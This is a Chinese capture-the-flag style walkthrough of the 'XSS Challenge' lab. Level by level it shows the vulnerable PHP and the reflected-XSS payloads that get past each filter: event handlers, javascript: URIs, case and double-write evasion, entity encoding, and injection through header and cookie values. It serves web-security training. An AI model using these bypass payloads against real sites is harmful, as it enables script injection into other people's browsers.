专栏首页乌鸦安全XSS Challenge通关简单教程

XSS Challenge通关简单教程

XSS Challenge简单攻略

Levle1

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

在这个里面没有对输入的数据做任何的过滤,直接构造payload即可:

payload:name=<script>alert(1)</script>
http://81.69.228.171:666/level1.php?name=<script>alert(1)</script>

Levle2

直接写入:<script>alert(1)</script>,无法弹窗

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

htmlspecialchars($str)用法

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &amp
" (双引号)成为 &quot
' (单引号)成为 '
< (小于)成为 &lt
> (大于)成为 &gt

例如:

<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>

查看网页源码,第一个位置被发现被实体编码,但是第二个位置或许可以弹窗

法1

当我们写入一个语句的时候,可以发现<img src=1 onerror=alert(1)>被闭合掉了,因此在这里可以尝试先行闭合搜索框之后再弹出xss

  • 正常的搜索
  • 先闭合的搜索

直接弹出

法2

使用鼠标划过输入框,输入之后当鼠标移动到这个位置的时候,即可弹出

" onmouseover=alert(1)>

法3

或者使用鼠标点击搜索框

  " onclick=alert(1)>

补充知识:js注释符

在js中一共有三种注释方式

  • 多行注释
/*
hacked  by crow
*/

单行注释

//
// hack by crow
<!-
<!-  hack by crow  这种注释容用混淆,因此一般不推荐使用

Level3

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这里面上下都使用了htmlspecialchars()函数,但是它未对单引号进行转义,因此可以使用单引号进行测试

<?php
$str1 = "\"";
$str2 = "& ";
$str3 = " '  ";
$str4 = " <   ";
$str5 = " >  ";

echo htmlspecialchars($str1);
echo '          ';
echo htmlspecialchars($str2);
echo '          ';
echo htmlspecialchars($str3);
echo '          ';
echo htmlspecialchars($str4);
echo '          ';
echo htmlspecialchars($str5);
?>

直接在输入框内输入

"><script>alert(1)</script><"

虽然发现闭合,但无法弹窗

发现双引号都被闭合掉了,这里使用单引号进行尝试,但是<>均被转义,因此需要替换方法

这里有一个坑:如果没有鼠标右键查看网页源代码,可能你看网上的教程都看不懂,我在firefox上使用F12只能看到双引号,所以在这里我们可以使用单引号进行绕过,而且要避开<>这符号

' onclick=alert(1)

当我们使用这个payload的时候,当点击的时候没有事件发生,可以分析下此时后面有一个单引号没有被闭合。

所以这里采用注释符进行绕过

法1

' onclick=alert(1) // hacked  by crow
' onclick=alert(1) /* hacked  by crow  */
' onclick=alert(1) <!- hacked  by crow

法2

' onmouseover=alert(1) // hacked  by crow
' onmouseover=alert(1) /* hacked  by crow */
' onmouseover=alert(1) <!- hacked  by crow

当然,这里也可以将单引号闭合进行绕过:

payload1
' onmouseover=alert(1) '
payload2
' onclick= alert(1) '

补充知识

str_replace()函数

  • str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)
  • 该函数区分大小写
  • str_ireplace() 函数执行不区分大小写的搜索。

Level4

首先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

从上述可以看出,将< >全部替换为空,而且使用了htmlspecialchars()函数,因此在这里无法使用<>符号,可以使用onclick事件先看下返回如何:

onclick=alert(1)

可以分析知道,可使用双引号将前面的value进行闭合,再注释掉后面的双引号,或者将其闭合均可,因此可构造payload如下:

法1

" onclick=alert(1) "

法2

" onclick=alert(1) // hacked  by crow

法3

" onclick=alert(1) <!- hacked  by crow

法4

" onclick=alert(1) /* hacked  by crow */

法5

" onmouseover=alert(1) "

法6

" onmouseover=alert(1) // hacked  by crow

法7

" onmouseover=alert(1) <!- hacked  by crow

法8

" onmouseover=alert(1) /* hacked  by crow */

补充知识

strtolower()函数

  • 把所有字符转换为小写

Level5

首先看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

代码首先将大小写统一为小写,然后直接过滤了<scripton关键词,这里无法再使用上述的方式,此处没有过滤尖括号,可以使用伪协议来进行构造:

a标签的一种写法<a href="JavaScript:;"></a>

因此构造payload

" ><a href="javascript:alert(1)">

这里需要手动点击下才可以触发:

当然也可以选择直接触发:

"><iframe src=javascript:alert(1)>

Level6

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

从源码中可以看出,能过滤的都过滤了,但是与第5关相比,没有对大小写进行限制,因此使用大小写绕过

" ><a hrEf="javascript:alert(1)">

同样的,也可以使用

"><iframe Src=javascript:alert(1)>

Level7

先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

查看代码得知,str_replac()函数将常用的script on等全部替换为空,因此在这里可以尝试使用包裹关键词的方式进行绕过

" ><a hhrEfref="javascscriptript:alert(1)"> 
"><iframe Ssrcrc=javasscriptcript:alert(1)>

tips:包裹关键词

包裹关键词的时候并不是每一个单词都要进行双写,这里一定要保留一个完整的需要被替换的单词,详情可参照下图:

补充知识:HTML 字符实体

HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。

实体名称对大小写敏感。

HTML字符实体的出现主要是为了解决以下几个问题:

1. 解决HTML代码编写中的一些问题。例如需要在网页上显示小于号(<)和大于号(>),由于它们是HTML的预留标签,可能会被误解析为标签。这时就需要将小于号和大于号写成字符实体:
小于号这样写:&lt; 或 &#60;
大于号这样写:&gt; 或 &#62;
2. 键盘上无法打印的符号
3. 连续的空格
。。。。

Level8

先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

查看代码发现,输入的str先进行小写转换,然后再经过一系列关键字替换:

script on src data href "等均被替换,这里无法使用以上关键词和双引号进行绕过,在这个里面一共有两个输出点,第一个输出点采用了htmlspecialchar()实体化,第二个进行了7次过滤处理

首先尝试使用伪协议进行绕过,查看输出:

javascript:alert(1)

在这里发现确实被替换,因此在这里尝试使用html字符实体进行尝试绕过

在线转换网址:https://www.qqxiuzi.cn/bianma/zifushiti.php

payload1: javascript:alert(1)
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

当然还可以对script中的任意字母进行编码,比如对s进行编码,从而绕过限制:

payload2:java&#x73;cript:alert(1)

也可以使用Tab键和回车键进行编码来绕过:

javascrip&#x09;t:alert(1) 
javascrip&#x0a;t:alert(1)

详细信息可以参考:https://www.w3school.com.cn/tags/html_ref_entities.html

Level9

首先看下代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

通过源代码可以知道,首先对输入的字符串进行过滤处理,在最后一步的时候判断是否存在http://,如果不存在,则直接判定为非法操作,因此在这里可以通过注释符的方式添加进来进行绕过即可

当输入

javascrip&#x09;t:alert(1)

此时将上述的payload加上注释

javascrip&#x09;t:alert(1) // http://

当然也可以使用Level8中的payload进行测试,只需要在后面加上注释符和http://即可,在这里不再进行测试

Level10

首先看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过源码可以发现,需要传入的有两个参数,一个是keyword,另外一个是t_sort。而且过滤了<>,页面中还隐藏了三个元素,并且前两个将值替换为空,最后一个值也是过滤了尖括号之后的结果,因此首先尝试进行构造一个最基础的payload查看返回信息:

<script>alert(1)</script>

在这里看到t_sort的部分中尖括号确实被过滤了,尝试绕过

payload:
" type="password" onclick=alert(1) //
完整的payload:
keyword=hacked by crow&t_sort=" type="text" onclick=alert(1) //
其中//属于必须要的注释符,可以使用其他的注释符进行替换也可

当然还可以使用其他的方式来做,都是可以的

payload2:
keyword=hacked by crow&t_sort=" type="text" onmouseover=alert(1)  //
当鼠标移到该位置的时候,就会触发

Level11

首先看下代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

从源代码可以看到,这里面对输入的keyword和t_sort进行了关键词过滤,但是对于str11到str33,过滤了尖括号,先随意输入数据查看下源代码:

keyword=hacked by crow & t_sort= <script>alert(1)</script>

在这里$str11接收的是HTTP_REFERER中的内容,因此在hackbar或burpsuite中定义下HTTP_REFERER中的内容:

在这里就可以看到,过滤了尖括号,这个就和上面的关卡比较像了,可以直接构造:

payload1:
" type='text' onclick=alert(1) // 
payload2:
" type='text' onmouseover=alert(1) //
//  tips:需要在referer中进行构造

Level12

查看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过源代码可知,与Level11很像,只不过是将HTTP_REFERER替换为HTTP_USER_AGENT,因此可以利用hackbar等工具直接替换即可:

payload1:
" type='text' onclick=alert(1) // 
payload2:
" type='text' onmouseover=alert(1) //
// tips:需要在user-agent中进行构造

Level13

首先看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

其实和Level11-Level12一样,只不过这里需要指定cookie的值,因此可以如下构造:

payload1:
" type='text' onclick=alert(1) // 
payload2:
" type='text' onmouseover=alert(1) //

// tips:需要在cookies中进行构造

补充知识:Exif xss

什么是exif

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

在Windows下可以直接右键修改这些属性,有些网站可以读取exif信息,当传入一张含有恶意信息的图片的时候,就可以触发payload

Level14

首先看下代码

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

其实这关的意思就是跳转到一个能够读取exif信息的网站,但是这个网站存在eixf xss漏洞,因此可以直接触发xss,所以只要将src后面的网址进行替换到一个有这样漏洞的网站即可。

比如:http://www.exifdata.com/exif.php

Level15

首先看下源码

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

安哥拉js

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

因此可以直接进行构造:

src='level1.php?name=<img src=1 onerror=alert(1)>'

Level16

首先看下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

从代码中可以看到,script等均被替换为空格符号,但是这里没有过滤尖括号,因此可以想到使用尖括号进行绕过

<img src=1 onerror=alert(1)>

但是这里又存在一个问题,空格被替换为空格符号

这里面可以使用换行符%0a来替换空格:

<img%0asrc=1 %0aonerror=alert(1)>

当然,这里还可以使用其他的符号,比如回车符号%0d

<img%0dsrc=1 %0donerror=alert(1)>

Level17

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

通过源代码和最基础的xss反弹代码发现,arg01和arg02的参数在处理之后进行了拼接

而htmlspecialchars()函数会将输入的数据变成html实体,过滤了尖口号和双引号,在这里可以尝试使用其他的进行绕过

?arg01=a&arg02= onmouseover=alert(1)

在arg02参数后面有一个空格,不然就是将属性与之前的xsf01.swf?进行连接了

Level18

查看下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

这一关和Level17代码基本相同,只不过换了一个图片而已,因此可以使用上一关的代码进行绕过

?arg01=a&arg02= onmouseover=alert(1)

Level19

Level20

主要是因为目前flash技术全面停止使用,因此在这里不再讲解这类技术(主要是不会)

笔记完整版:

https://github.com/crow821/crowsec

对应视频:

https://www.bilibili.com/video/BV1A54y1e7JM

本文分享自微信公众号 - 乌鸦安全(crowsec),作者:crow

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-02-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 互联网安全威胁及应对方案

    作者:蒋海滔,阿里巴巴国际事业部,高级技术专家,爱好Java/JavaScript,长期关注高性能、并发编程以及Web安全。 来自:高可用架构(ID:ArchN...

    架构师小秘圈
  • 基于 LLMNR 和 NetBIOS 欺骗的攻击利用

    链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,使得 IPv4 和 IPv6 的主机可以通过此协议对同一本地链路上的主机执行名称...

    信安之路
  • 【XSS漏洞】一步步教你通关DVWA

    今天小编初步学习了一下XSS漏洞,顺带打通了DVWA平台上的几道XSS漏洞题,本着学习的精神,在此跟大家分享一下这几题的解法,感兴趣的同学就跟着我一起往下看吧。

    一名白帽的成长史
  • 【HCTF】2017部分Web出题思路详解

    ? babycrack Description just babycrack 1.flag.substr(-5,3)=="333" 2.flag.subs...

    用户1467662
  • HCTF2017 部分 Web 出题思路详解

    11月12日结束的HCTF2017,我总共出了其中4道题目,这4道题目涵盖了我这半年来接触的很多有趣的东西。下面就简单讲讲出题思路以及完整的Writeup。

    Seebug漏洞平台
  • HCTF2017 部分 Web 出题思路详解

    作者:LoRexxar'@知道创宇404实验室 11月12日结束的HCTF2017,我总共出了其中4道题目,这4道题目涵盖了我这半年来接触的很多有趣的东西。下面...

    Seebug漏洞平台
  • 反射跨站脚本(XSS)示例

    如何利用它? 原来的要求如下: ? 应用程序的回应非常清楚。用户ID为空(空)。我们没有为它指定一个值。 ? 我们有XSS。有效负载未被应用...

    奶糖味的代言
  • wwwxml400com请拨18608765024bee-box之XSS攻击

    一个月前刷了XSSchalleng以为自己已经算是入门了XSS了,但是在我挖洞碰到有可能存在XSS漏洞网页的时候,发现我只能记起来<script>alert('...

    用户7106032
  • 新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

    * 本文原创作者:lonehand,转载请注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk...

    FB客服
  • 基于Beef-XSS+Sunny-Ngrok进行内网安全测试

    Beef-XSS框架无疑是当今最强大的浏览器攻击框架,网络上也存在很多关于它的教程,但是大部分都是基于内网环境下的教学,这就使得攻击效果大打折扣,另外大部分XS...

    FB客服
  • 史上最简单的JPA关联教程

    我们这边接着上一节的课程继续介绍,这边我新建了Goods,GoodsDetail,Classify,Address四个实体映射类。分别进行一对一,一对多,多对...

    林老师带你学编程
  • [经验分享]——XSS 入门介绍

    腾讯云安全
  • 宝塔面板部署 Nextcloud 私有云

    浏览器打开域名或服务器IP:8888端口,例如 www.lamper.top:8888,输入账号密码进入面板首页

    蓝默空间
  • Kali Linux Web渗透测试手册(第二版) - 9.1 - 如何绕过xss输入验证

    到目前为止,在本书中,我们已经确定并利用了一些漏洞,这些漏洞是比较容易利用的,也就是说,在利用这些漏洞时,我们并没有被任何预防机制所拦截,比如说防火墙。

    用户1631416
  • Kali Linux Web渗透测试手册(第二版) - 9.1 - 如何绕过xss输入验证

    到目前为止,在本书中,我们已经确定并利用了一些漏洞,这些漏洞是比较容易利用的,也就是说,在利用这些漏洞时,我们并没有被任何预防机制所拦截,比如说防火墙。

    7089bAt@PowerLi
  • 跨站的艺术-XSS入门与介绍

    什么是XSS? XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写...

    云鼎实验室
  • docsify简单教程

    用户8851537
  • Conda简单教程

    Conda是Python中用于管理包和虚拟环境的一大利器。 使用Conda可以非常便利的使用数据科学相关的包,Conda可以帮助我们创建虚拟环境,从而方便的应...

    编程随笔
  • Jupyter简单教程

    若尘_

扫码关注云+社区

领取腾讯云代金券